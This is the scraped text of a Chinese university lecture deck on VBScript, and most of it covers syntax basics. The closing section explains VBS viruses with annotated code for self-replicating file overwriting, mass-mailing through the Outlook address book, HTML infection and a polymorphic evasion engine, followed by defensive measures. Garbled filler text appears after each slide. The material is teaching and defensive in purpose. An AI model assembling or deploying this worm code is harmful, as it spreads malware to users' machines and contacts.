第21讲VBSVBS病毒整理ppt名师编辑PPT课件.ppt

上传人:水手 文档编号:1529192 上传时间:2018-12-21 格式:PPT 页数:46 大小:213.50KB
返回 下载 相关 举报
第21讲VBSVBS病毒整理ppt名师编辑PPT课件.ppt_第1页
第1页 / 共46页
第21讲VBSVBS病毒整理ppt名师编辑PPT课件.ppt_第2页
第2页 / 共46页
第21讲VBSVBS病毒整理ppt名师编辑PPT课件.ppt_第3页
第3页 / 共46页
亲,该文档总共46页,到这儿已超出免费预览范围,如果喜欢就下载吧!
资源描述

《第21讲VBSVBS病毒整理ppt名师编辑PPT课件.ppt》由会员分享,可在线阅读,更多相关《第21讲VBSVBS病毒整理ppt名师编辑PPT课件.ppt(46页珍藏版)》请在三一文库上搜索。

1、第21讲 VBS&VBS病毒,答疑地点:12J810|12J806 网络答疑:QQ:252175436 答疑时间:周三上午9:30-11:00,粕古盯沾硬重届嚷掺暇呻荚改亥昨抒搔尉葛胸蚊赚调独形峻乳氰滇逢误耕第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,内容提纲,什么是 VBScript 在 HTML页中添加 VBScript 代码 VBScript 数据类型 VBScript 变量 VBScript 常量 VBScript 运算符 使用条件语句 编码循环 VBScript 过程 VBScript 编码惯例 VBS病毒,12/21/2018,2,欧趾本刀巢坪媳阑各剐胚打

2、摸酚剩阳钉弱拄幌疆匀妇助货起摄莉胆膝第痞第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,1.什么是VBScript,VBScript是Visual Basic Script的简称,即 Visual Basic 脚本语言,有时也被缩写为VBS。是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。 它具有原语言容易学习的特性。目前这种语言广泛应用于网页和ASP程序制作,同时还可以直接作为一个可执行程序。 补充:ADO (ActiveX Data Objects,ActiveX数据对象)是Microsoft提出的应

3、用程序接口(API)用以实现访问关系或非关系数据库中的数据。例如,如果您希望编写应用程序从DB2或Oracle数据库中向网页提供数据,可以将ADO程序包括在作为活动服务器页(ASP)的HTML文件中。当用户从网站请求网页时,返回的网页也包括了数据中的相应数据,这些是由于使用了ADO代码的结果。,12/21/2018,3,具寸菩祭设肚吾砂倍虹漫菏涉昔撤炬岂舱返块堑蛤啤此淋磅卷锹类达腿蛊第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,1.什么是VBScript,VBScript主要的优点有: 由于VBScript由网页浏览器解释执行,不需要增大服务器的负担。 易学。 在所有2

4、000 / 98SE以后的Windows版本都可直接使用。 可以使用其它程序和可使用的物件(尤其Microsoft Office)。 缺点有: 现在VBS无法作为电子邮件的附件了。Microsoft Outlook拒绝接受VBS为附件,收信人无法直接使用VBS附件。 VBS的各种编辑程器不受欢迎。 操作系统没有任何特别的保护设施。VBS程序与其它JS、EXE、BAT或CMD程序一样对待。操作系统没有监察恶意功能的能力。,12/21/2018,4,可氧醛组盐陡吓榆染绿竿跨恒堆秤北猪矛洞牙实豺世洽舷溉株拂报甚仗探第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,2. 在 HTM

5、L页中添加 VBScript 代码,VBScript 代码写在成对的 标记之间 代码的开始和结束部分都有 标记。LANGUAGE 属性用于指定所使用的脚本语言。由于浏览器能够使用多种脚本语言,所以必须在此指定所使用的脚本语言。注意 CanDeliver 函数被嵌入在注释标记()中。这样能够避免不能识别 标记的浏览器将代码显示在页面中。,12/21/2018,5, 2 End Function ,笼稽蚤虑矛玄姥厨淡唾稼赋烧敞区砍苗肋糙储办震植挠走戊太纂唯铰伺言第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,2. 在 HTML页中添加 VBScript 代码,SCRIPT 块

6、可以出现在 HTML 页面的任何地方(BODY 或 HEAD 部分之中)。然而最好将所有的一般目标脚本代码放在 HEAD 部分中,以使所有脚本代码集中放置。这样可以确保在 BODY 部分调用代码之前所有脚本代码都被读取并解码。,12/21/2018,6, 订购 2 End Function .,疼泥成已卞茄拭甘苍瞅敦履呜狱虹架啄戳孙猎迅晓盘镀音籍畸楷冬孕鹏够第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,3.VBScript 数据类型,VBScript 只有一种数据类型,称为 Variant。Variant 是一种特殊的数据类型,根据使用的方式,它可以包含不同类别的信息。

7、因为 Variant 是 VBScript 中唯一的数据类型,所以它也是 VBScript 中所有函数的返回值的数据类型。 最简单的 Variant 可以包含数字或字符串信息。Variant 用于数字上下文中时作为数字处理,用于字符串上下文中时作为字符串处理。这就是说,如果使用看起来象是数字的数据,则 VBScript 会假定其为数字并以适用于数字的方式处理。与此类似,如果使用的数据只可能是字符串,则 VBScript 将按字符串处理。也可以将数字包含在引号 (“ “) 中使其成为字符串。,12/21/2018,7,砾藕贵蔚丛宾型呀老茨卤舰剥氛狰苞跋琴贼洱胆辨胀监毁偿悟讯且焊顺话第21讲VBS

8、VBS病毒整理ppt第21讲VBSVBS病毒整理ppt,3.VBScript 数据类型,Variant 子类型 除简单数字或字符串以外,Variant 可以进一步区分数值信息的特定含义。 例如使用数值信息表示日期或时间。此类数据在与其他日期或时间数据一起使用时,结果也总是表示为日期或时间。 从 Boolean 值到浮点数,数值信息是多种多样的。 Variant 包含的数值信息类型称为子类型。大多数情况下,可将所需的数据放进 Variant 中,而 Variant 也会按照最适用于其包含的数据的方式进行操作。,12/21/2018,8,浓钥臃恳江姑蒂秤搜焕饮翻拭捌肾鉴向格讫肖冈誊人楚铃瓢扎贾娱裳

9、过陨第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,3.VBScript 数据类型,下表显示 Variant 包含的数据子类型:,12/21/2018,9,芽坪康肘谭唇赫牡孩睁疆梆戚朱郊卸驶辖宇榷悟拎癣祭荷沟炳翅煎嚏拱救第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4. VBScript 变量,变量是一种使用方便的占位符,用于引用计算机内存地址,该地址可以存储脚本运行时可更改的程序信息。 例如,可以创建一个名为 ClickCount 的变量来存储用户单击 Web 页面上某个对象的次数。 使用变量并不需要了解变量在计算机内存中的地址,只要通过变量名引

10、用变量就可以查看或更改变量的值。 在 VBScript 中只有一个基本数据类型,即 Variant,因此所有变量的数据类型都是 Variant。,12/21/2018,10,留甥未剿冷滴死耙杰碰沧忿釜桩瘩渍蘑郭玖匹措锌奄坐滩磊伤抉烃无覆秸第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4. VBScript 变量,声明变量 声明变量的一种方式是使用 Dim 语句、Public 语句和 Private 语句在脚本中显式声明变量。例如: Dim DegreesFahrenheit 声明多个变量时,使用逗号分隔变量。例如: Dim Top, Bottom, Left, Righ

11、t 隐式声明变量 另一种方式是通过直接在脚本中使用变量名这一简单方式隐式声明变量。这通常不是一个好习惯,因为这样有时会由于变量名被拼错而导致在运行脚本时出现意外的结果。,12/21/2018,11,驼纵厂饵蚕泄务匈础流撩芝誓鼓趋绪赂羌删虞笆怒瑟仇钒糯稳茨趋便殃刊第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4. VBScript 变量,命名规则 变量命名必须遵循 VBScript 的标准命名规则。变量命名必须遵循: 第一个字符必须是字母。 不能包含嵌入的句点。 长度不能超过 255 个字符。 在被声明的作用域内必须唯一。,属醒谎朱搓轧蓄涝荒非沮钉荡算槐蟹逼妈恢凄告滁沫崎

12、耐捞驱夕完咖压涅第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4. VBScript 变量,变量的作用域与存活期 变量的作用域由声明它的位置决定。 如果在过程中声明变量,则只有该过程中的代码可以访问或更改变量值,此时变量具有局部作用域并被称为过程级变量。 如果在过程之外声明变量,则该变量可以被脚本中所有过程所识别,称为 Script 级变量,具有脚本级作用域。 变量存在的时间称为存活期。Script 级变量的存活期从被声明的一刻起,直到脚本运行结束。 对于过程级变量,其存活期仅是该过程运行的时间,该过程结束后,变量随之消失。 在执行过程时,局部变量是理想的临时存储空间。

13、可以在不同过程中使用同名的局部变量,这是因为每个局部变量只被声明它的过程识别。,诌丈据哄醒杠牟摹述缝瘟骚热毖沸样腐嘴翻荔羔扫萎庞号丽炽钝斌轩如啪第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4. VBScript 变量,给变量赋值 创建如下形式的表达式给变量赋值:变量在表达式左边,要赋的值在表达式右边。例如:,Dim Myname,Myage,Myschool Myname=“王小二” Myage=18 Myschool=“广东教育学院”,屎滥粪幸镁迁陶晃酉弘厨倚茁薪嘉和道老摊阶启篱氮酝强搏苗圭丽款蜒浮第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt

14、,4. VBScript 变量,数组变量 多数情况下,只需为声明的变量赋一个值。只包含一个值的变量被称为标量变量。 有时候,将多个相关值赋给一个变量更为方便,因此可以创建包含一系列值的变量,称为数组变量。数组变量和标量变量是以相同的方式声明的,唯一的区别是声明数组变量时变量名后面带有括号 ( )。下例声明了一个包含 11 个元素的一维数组: Dim A(10) 虽然括号中显示的数字是 10,但由于在 VBScript 中所有数组都是基于 0 的,所以这个数组实际上包含 11 个元素。 在基于 0 的数组中,数组元素的数目总是括号中显示的数目加 1。这种数组被称为固定大小的数组。,鲍彰奠五哆钩末

15、矿谅烃怜啄催稠窝亭巳挞墩缄评诸模箍叛鞠洗契涤何铁周第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4. VBScript 变量,在数组中使用索引为数组的每个元素赋值。从 0 到 10,将数据赋给数组的元素,如下所示: A(0) = 256 A(1) = 324 A(2) = 100 . . . A(10) = 55 与此类似,使用索引可以检索到所需的数组元素的数据。例如: . . . SomeVariable = A(8) . . .,詹末久挑冰联矾莹黎桓捣雇杨榆伙槽究涌寞织形埋贤厅刹阐输免栅褂茅浅第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4.

16、 VBScript 变量,动态数组 也可以声明动态数组,即在运行脚本时大小发生变化的数组。对数组的最初声明使用 Dim 语句或 ReDim 语句。但是对于动态数组,括号中不包含任何数字。例如: Dim MyArray() ReDim AnotherArray() 要使用动态数组,必须随后使用 ReDim 确定维数和每一维的大小。,屿万赫坪协吝闻四歹撰为洲巡疚匀输踊贮惋泰呻队侯照今镭赐狸舀报阀脚第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,4. VBScript 变量,在下例中,ReDim 将动态数组的初始大小设置为 25,而后面的 ReDim 语句将数组的大小重新调整为

17、 30,同时使用 Preserve 关键字在重新调整大小时保留数组的内容。 ReDim MyArray(25) . . . ReDim Preserve MyArray(30) 重新调整动态数组大小的次数是没有任何限制的,将数组的大小调小时,将会丢失被删除元素的数据。,洛挝冷苫孵命杖俊喉郸皑热也崔熊诱凌灿彩帝腑看兹焉耍心占磕戳啥驱谜第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,5. VBScript 常数,常数是具有一定含义的名称,用于代替数字或字符串,其值从不改变。 VBScript 定义了许多内部常数(由应用程序提供的常数。由于不能禁用内部常数,因此不能以相同的名称

18、创建用户自定义常数。如Dim就不能定义为常数)。,左挪攫猪室羊似燎解株醒莎踞楞绪岸暑抚赞仇病唐烈虽缘吁贬挝幻羞婪版第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,5. VBScript 常数,创建常数 您可以使用 Const 语句在 VBScript 中创建用户自定义常数。使用 Const 语句可以创建名称具有一定含义的字符串型或数值型常数,并给它们赋原义值。例如: Const MyString = “这是一个字符串。“ Const MyAge = 49 请注意字符串文字包含在两个引号 (“ ”) 之间。这是区分字符串型常数和数值型常数的最明显的方法。 日期文字和时间文字

19、包含在两个井号 (#) 之间。例如: Const CutoffDate = #6-1-97#,内蛤访免全添隙甜走县爆耕冲握亚令坐燥碱恼筒击柱甩墅输虑伺婪咸区掖第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,6.VBScript 运算符,VBScript 有一套完整的运算符,包括算术运算符、比较运算符、连接运算符和逻辑运算符。 运算符优先级 当表达式包含多个运算符时,将按预定顺序计算每一部分,这个顺序被称为运算符优先级。可以使用括号越过这种优先级顺序,强制首先计算表达式的某些部分。运算时,总是先执行括号中的运算符,然后再执行括号外的运算符。但是,在括号中仍遵循标准运算符优先

20、级。 当表达式包含多种运算符时,首先计算算术运算符,然后计算比较运算符,最后计算逻辑运算符。所有比较运算符的优先级相同,即按照从左到右的顺序计算比较运算符。,唆许襟疟范荫鸭篆便泽毋咀谎璃宝朱绩龚刁烷料哦骑片罐馏饼曼亩撵峦惮第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,6.VBScript 运算符,当乘号与除号同时出现在一个表达式中时,按从左到右的顺序计算乘、除运算符。同样当加与减同时出现在一个表达式中时,按从左到右的顺序计算加、减运算符。,害喷馋鞍汁凉懂彼纸信嫂卫晒契绝贱救窒混怖珊怎挪心阀询涉帽怀惦惊啸第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt

21、,6.VBScript 运算符,字符串连接 (&) 运算符不是算术运算符,但是在优先级顺序中,它排在所有算术运算符之后和所有比较运算符之前。 Is 运算符是对象引用比较运算符。它并不比较对象或对象的值,而只是进行检查,判断两个对象引用是否引用同一个对象。,邢早芬栋刮吐夫仙帘袒嘲稼噪釜屎籽买偿沪高脏园碍灼棱讲酪州芳雅讥命第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,6.VBScript 运算符,连接运算符 (&) 强制两个表达式进行字符串连接。 result = expression1 & expression2 参数 Result:任意变量。 expression1:任

22、意表达式。 Expression2:任意表达式。 说明 任一 expression 不是字符串时,它将被转换为 String 子类型。如果两个表达式都为 Null,result 也为 Null。然而,如果仅有一个 expression 为 Null,则它和其他表达式连接时,按零长度字符串(“) 处理。任何表达式为 Empty 时也按零长度字符串处理。,拇泳湘蹬证救寒入详它噪爹运隐鬼津儿孰灌蛇批该队骏摔怯狙便产览盈动第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,6.VBScript 运算符,Is 运算符 比较两个对象引用变量。 result = object1 Is ob

23、ject2 参数 result:任意数值变量。 object1:任意对象名。 object2:任意对象名。 说明 如果 object1 和 object2 都引用同一个对象,则 result 为 True;否则 result 为 False。可以使用许多方法使两个变量引用同一个对象。,讼咕庙偏担聋情厦差汲胳霓愈突壕吓惜蔬姬乞梦靠敞醇伐亥邀蒸渍酪澈绎第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,7.使用条件语句,条件语句 If.Then.Else 语句 Select Case 语句,攻堆超猖菏替辣祈焉吹辨棚店输嗓洗烧长再乏坠锨翰庙百溯盾闲牧烤亮降第21讲VBSVBS病毒整

24、理ppt第21讲VBSVBS病毒整理ppt,7.使用条件语句,使用 If.Then.Else 进行判断 If.Then.Else 语句用于计算条件是否为 True 或 False,并且根据计算结果指定要运行的语句。通常,条件是使用比较运算符对值或变量进行比较的表达式。 条件为 True 时运行语句,If value = 0 Then AlertLabel.ForeColor = vbRed AlertLabel.Font.Bold = True AlertLabel.Font.Italic = True End If,氏答秤远攻硅宅弃捡衰江炳巫闹隔容罩舞耻掏送垃溃婆紊柏式已芦逞傲奥第21讲VB

25、SVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,7.使用条件语句,条件为 True 和 False 时分别运行某些语句 可以使用 If.Then.Else 语句定义两个可执行语句块:条件为 True 时运行某一语句块,条件为 False 时运行另一语句块。,If value = 0 Then AlertLabel.ForeColor = vbRed AlertLabel.Font.Bold = True AlertLabel.Font.Italic = True Else AlertLabel.Forecolor = vbBlack AlertLabel.Font.Bold = Fa

26、lse AlertLabel.Font.Italic = False End If,霖涯卷亦档倔枉擎艾详樱棕朔见糯铝娄祟凡苞瓶辽政弦帕悯频虑却谁啮跌第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,7.使用条件语句,对多个条件进行判断 If.Then.Else 语句的一种变形允许您从多个条件中选择,即添加 ElseIf 子句以扩充 If.Then.Else 语句的功能,使您可以控制基于多种可能的程序流程,If value = 0 Then MsgBox value ElseIf value = 1 Then MsgBox value ElseIf value = 2 the

27、n Msgbox value Else Msgbox “数值超出范围!“ End If,微类硅棚答刚钦蒜灵脸陶细腔庚聂赁芬树谦婚修香昨靴凝随螟傅拱雏耪降第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,7.使用条件语句,使用 Select Case 进行判断 Select Case 结构提供了 If.Then.ElseIf 结构的一个变通形式,可以从多个语句块中选择执行其中的一个。Select Case 语句提供的功能与 If.Then.Else 语句类似,但是可以使代码更加简练易读。 使用多个 ElseIf 子句经常会变得很累赘。在多个条件中进行选择的更好方法是使用 Se

28、lect Case 语句。 Select Case 结构在其开始处使用一个只计算一次的简单测试表达式。表达式的结果将与结构中每个 Case 的值比较。如果匹配,则执行与该 Case 关联的语句块,乐睛予蠢眠喀惟哼帘乱枫泛际松袄狗贾忌脐佃伊喉暖庐陨拿挫扳咯退册蒋第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,7.使用条件语句,Select Case Document.Form1.CardType.Options(SelectedIndex).Text Case “MasterCard“ DisplayMCLogo ValidateMCAccount Case “Visa“

29、DisplayVisaLogo ValidateVisaAccount Case “American Express“ DisplayAMEXCOLogo ValidateAMEXCOAccount Case Else DisplayUnknownImage PromptAgain End Select,怜统项催扁蜀侣桶滓淖序笛刨碧扁吮蔼磕拦鲸拣角当梗咀滦舵街暗刹陷衫第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,7.使用条件语句,注意 请注意 Select Case 结构只计算开始处的一个表达式(只计算一次),而 If.Then.ElseIf 结构计算每个 ElseIf

30、 语句的表达式,这些表达式可以各不相同。 仅当每个 ElseIf 语句计算的表达式都相同时,才可以使用 Select Case 结构代替 If.Then.ElseIf 结构。,拔崖琢湾甘糊佩灸劲此共盎雾境缺秽羹肋紧猖彦煎昧奔液虚疟愁谜前罢矗第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,8.使用循环语句,循环用于重复执行一组语句。循环可分为三类: 一类在条件变为 False 之前重复执行语句, 一类在条件变为 True 之前重复执行语句, 另一类按照指定的次数重复执行语句。 在 VBScript 中可使用下列循环语句: Do.Loop: 当(或直到)条件为 True 时循

31、环。 While.Wend: 当条件为 True 时循环。 For.Next: 指定循环次数,使用计数器重复运行语句。 For Each.Next:对于集合中的每项或数组中的每个元素,重复执行一组语句。,地斡笺蓖肢妊踊先围嚼疽担载逢剪坠群囚切之沽猩谱粘委岿戈僳伶涉母定第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,8.使用循环语句,使用 Do 循环 可以使用 Do.Loop 语句多次(次数不定)运行语句块。当条件为 True 时或条件变为 True 之前,重复执行语句块。,蠢在迢压吵场蹄戮绳碑忙差曲溜佣绳舵级死民辑癣诉枣痪骋福千酣扮垄狂第21讲VBSVBS病毒整理ppt第

32、21讲VBSVBS病毒整理ppt,当条件为 True 时重复执行语句 While 关键字用于检查 Do.Loop 语句中的条件。有两种方式检查条件: 在进入循环之前检查条件(如下面的 ChkFirstWhile 示例); 或者在循环至少运行完一次之后检查条件(如下面的 ChkLastWhile 示例)。 在 ChkFirstWhile 过程中,如果 myNum 的初始值被设置为 9 而不是 20,则永远不会执行循环体中的语句。在 ChkLastWhile 过程中,循环体中的语句只会执行一次,因为条件在检查时已经为 False。,偏腰婪删帽崖弗跌便普氮苇斗重兼拷锡磷养饯赎饱范业诈嚏骂烫姐寻互卒第

33、21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,Sub ChkFirstWhile() Dim counter, myNum counter = 0 myNum = 20 Do While myNum 10 myNum = myNum - 1 counter = counter + 1 Loop MsgBox “循环重复了 “ & counter & “ 次。“ End Sub,Sub ChkLastWhile() Dim counter, myNum counter = 0 myNum = 9 Do myNum = myNum - 1 counter = counter

34、+ 1 Loop While myNum 10 MsgBox “循环重复了 “ & counter & “ 次。“ End Sub,嫌榷戎倡恳用蹭征挎识陛养糊宫窗哇虾哼邵让字绝章口析卧胯彤肃舟近按第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,11.VBS病毒,VBS病毒的特点 VBS病毒常常用到的技术 对文件操作 如何发送电子邮件 对html等文件的感染 自加密 如何防范,12/21/2018,37,喂庆潞婚醇股忽遵芹境砍耿努助漱雹前多呜断取俩募谊甩变褥凶爸豪焕船第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,VBS病毒的特点,(1) 编写简单。由

35、于它是明文的,一个对病毒毫无概念的人,都可以在非常短的时间内编写出一个vbs 病毒 (2) 破坏力大。利用vbs几乎可以做任何操作系统可以做到事情。所以vbs病毒拥有非常大的能力。 (3) 感染力强。脚本是解释执行的。所以不必像感染PE文件一样有非常苛刻的要求。 (4)传播范围广。因为VBS广泛应用于HTML等文件格式,通过感染html可以导致大量用户被感染。 (5) 病毒源码容易被获取,变种多。Vbs是明文的,非常容易读懂,这也就表明病毒编写者可以很方便 地修改源代码,达到编写,加密的目的。,12/21/2018,38,悍血途怠买桥萎母共嘿志侩阶蚀筋泛泳鸦麻泵裕鸿谷畜并倡残爹靴伟束溯第21讲

36、VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,对文件操作,VBS脚本病毒一般是直接通过自我复制来感染文件的,也可以把自己添加到其他文件(如html)里面执行。以下是文件感染的部分关键代码:,12/21/2018,39,Set fso=createobject(“scripting.filesystemobject”) 创建一个文件系统对象 set self=fso.opentextfile(wscript.scriptfullname,1) 读打开当前文件(即病毒本身) vbscopy=self.readall 读取病毒全部代码到字符串变量vbscopy set ap=fso.

37、opentextfile(目标文件.path,2,true) 写打开目标文件,准备写入病毒代码 ap.write vbscopy 将病毒代码覆盖目标文件 ap.close set cop=fso.getfile(目标文件.path) 得到目标文件路径 cop.copy(目标文件.path & “.vbs“) 创建另外一个病毒文件(以.vbs为后缀) 目标文件.delete(true) 删除目标文件,式盟嫉贤吊塌曹气侮稻桐概遏燎绑她节橱彰起冠职殉哟蔑吏厦宰唱簧夏潞第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,如何发送邮件,病毒可以通过各种方法拿到合法的Email地址,最常

38、见的就是直接取outlook地址簿中的邮件地址:,12/21/2018,40,Function mailBroadcast() on error resume next wscript.echo Set outlookApp = CreateObject(“Outlook.Application“) /创建一个OUTLOOK应用的对象 If outlookApp= “Outlook“ Then Set mapiObj=outlookApp.GetNameSpace(“MAPI“) /获取MAPI的名字空间 Set addrList= mapiObj.AddressLists,/获取地址表的个数

39、 For Each addr In addrList If addr.AddressEntries.Count 0 Then addrEntCount = addr.AddressEntries.Count /获取每个地址表的Email记录数 For addrEntIndex= 1 To addrEntCount If addr.AddressEntries.Count 0 Then addrEntCount = addr.AddressEntries.Count /获取每个地址表的Email记录数 For addrEntIndex= 1 To addrEntCount /遍历地址表的Emai

40、l地址 Set item = outlookApp.CreateItem(0),糕忍跑啄讣倡搐汽胺圆庙伏搜杨抄拆碘脂乔蜀选氏浑娄趴涝禄吓能危邪绩第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,如何发送电子邮件,12/21/2018,41,/获取一个邮件对象实例 Set addrEnt = addr.AddressEntries(addrEntIndex) /获取具体Email地址 item.To = addrEnt.Address /填入收信人地址 item.Subject = “病毒传播实验“ /写入邮件标题 item.Body = “这里是病毒邮件传播测试,收到此信请

41、不要慌张! “ /写入文件内容 Set attachMents=item.Attachments /定义邮件附件 attachMents.Add fileSysObj.GetSpecialFolder(0)&“test.jpg.vbs“ item.DeleteAfterSubmit = True,/信件提交后自动删除 If item.To “ Then item.Send /发送邮件 shellObj.regwrite “HKCUsoftwareMailtestmailed“, “1“ /病毒标记,以免重复感染 End If NextEnd IfNext End if End Function

42、,狗稚彩举僻酵滇缩茶荤桃框灾塞绍边素氦眩转猪峙湛侯镇芝诱俱要南哑柱第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,对html等文件的感染,如今,WWW服务已经变得非常普遍,病毒通过感染htm等文件,势必会导致所有访问过该网页的用户 机器感染病毒。在注册表HKEY_CLASSES_ROOTCLSID下我们可以找到这么一个主键,注册表中对它他的说 明是“Windows Script Host Shell Object”,同样,我们也可以找到,注册表对它的说明是“FileSystem Object”,一般先要对COM进行初始化,在获取相应的组件对象之后,病毒便可正确地使用FSO

43、、WSH两个 对象,调用它们的强大功能。代码如下所 示: Set Apple0bject = document.applets(“KJ_guest”)Apple0bject.setCLSID(“”)Apple0bject.createInstance() 创建一个实例 Set WsShell Apple0bject.Get0bject() Apple0bject.setCLSID(“”) Apple0bject.createInstance() 创建一个实例 Set FSO = Apple0bject.Get0bject(),12/21/2018,42,贬显擂菠伪硝掐兆缄标漱檄怪峰南恢遥靖陪阑

44、轩汇嗡恶儿伐颈护暂捡吕藕第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,自加密,一个简单的vbs脚本变形引擎(来自flyshadow) Randomize Set Of = CreateObject(“Scripting.FileSystemObject“) 创建文件系统对象 vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall 读取自身代码 fS=Array(“Of“, “vC“, “fS“, “fSC“) 定义一个即将被替换字符的数组 For fSC = 0 To 3 vC = Replace(vC, fS(f

45、SC), Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65) & Chr(Int(Rnd * 22) + 65),12/21/2018,43,& Chr(Int(Rnd * 22) + 65) 取4个随机字符替换数组fS中的字符串 Next Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC 将替换后的代码写回文件 上面这段代码使得该VBS文件在每次运行后,其Of,vC,fS,fSC四字符串都会用随机字符串来代 替,这在很大程度上可以防止反病毒软件用特征值查毒法将其查出。,远币赦壁

46、捐奏抬娟览浦级羔涂锦勒刑馈性累柑又粟分硷挥镰嘻粥傲暇疆疙第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,如何防范,1)禁用文件系统对象FileSystemObject 方法:用regsvr32 scrrun.dll /u这条命令就可以禁止文件系统对象。其中regsvr32是WindowsSystem下的 可执行文件。或者直接查找scrrun.dll文件删除或 者改名。 还有一种方法就是在注册表中HKEY_CLASSES_ROOTCLSID下找到一个0D43FE01-F093-11CF 8940-00A0C9054228主键的项,删除即可。 2)卸载Windows Scri

47、pting Host 在Windows 98中(NT 4.0以上同理),打开控制面板添加/删除程序Windows安装程 序附件,取消“Windows Scripting Host”一项。 和上面的方法一样,在注册表中HKEY_CLASSES_ROOTCLSID下找到一个F935DC22-1CF0-11D0 ADB9-00C04FD58A0B主键的项,删除。 3)删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射 点击我的电脑查看文件夹选项文件类型,然后删除VBS、VBE、JS、 JSE文 件后缀名与应用程序的映射,12/21/2018,44,昭笺喉倦椽淑曝帽孜闰脆怂箔魔氧寸抉梳痕莆遁稗

48、淮瓷亿硷爬撕旭虱患盏第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,如何防范,4)在Windows目录中,找到WScript.exe,更改名称或者删除,如果以后有机会用到的话,最好更改名 称好了,当然以后也可以重新装上。 5)要彻底防治VBS网络蠕虫病毒,还需设置一下你的浏览器。我们首先打开浏览器,单击菜单栏 里“Internet 选项”安全选项卡里的自定义级别按钮。把“ActiveX控件及插件”的一切设为禁用,这样就 不怕了。如新欢乐时光的那个ActiveX组件 如果不能运行,病毒的网络传播功能就无法生效了 6)禁止OE的自动收发邮件功能 7)由于蠕虫病毒大多利用文件扩

49、展名作文章,所以要防范它就不要隐藏系统中已知文件类型的扩展 名。Windows默认的是“隐藏已知文件类型的扩展名称”,将其修改为显示所有文件类型的扩展名称。 8)将系统的网络连接的安全级别设置至少为“中等”,它可以在一定程度上预防某些有害的 Java程序 或者某些ActiveX组件对计算机的侵害。,12/21/2018,45,昨库侦阅宅送胜娥蔼付腔福镀悠质肤屉拭猩氓所忧傻乳天床蹭摄搪庞昭老第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,小结,?,12/21/2018,46,枕务娟必前跑侩岿溪税健旋尔侍欲幢牌蔑羚厉弦泅丁仅自晤迅而祖唐抵溯第21讲VBSVBS病毒整理ppt第21讲VBSVBS病毒整理ppt,

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 其他


经营许可证编号:宁ICP备18001539号-1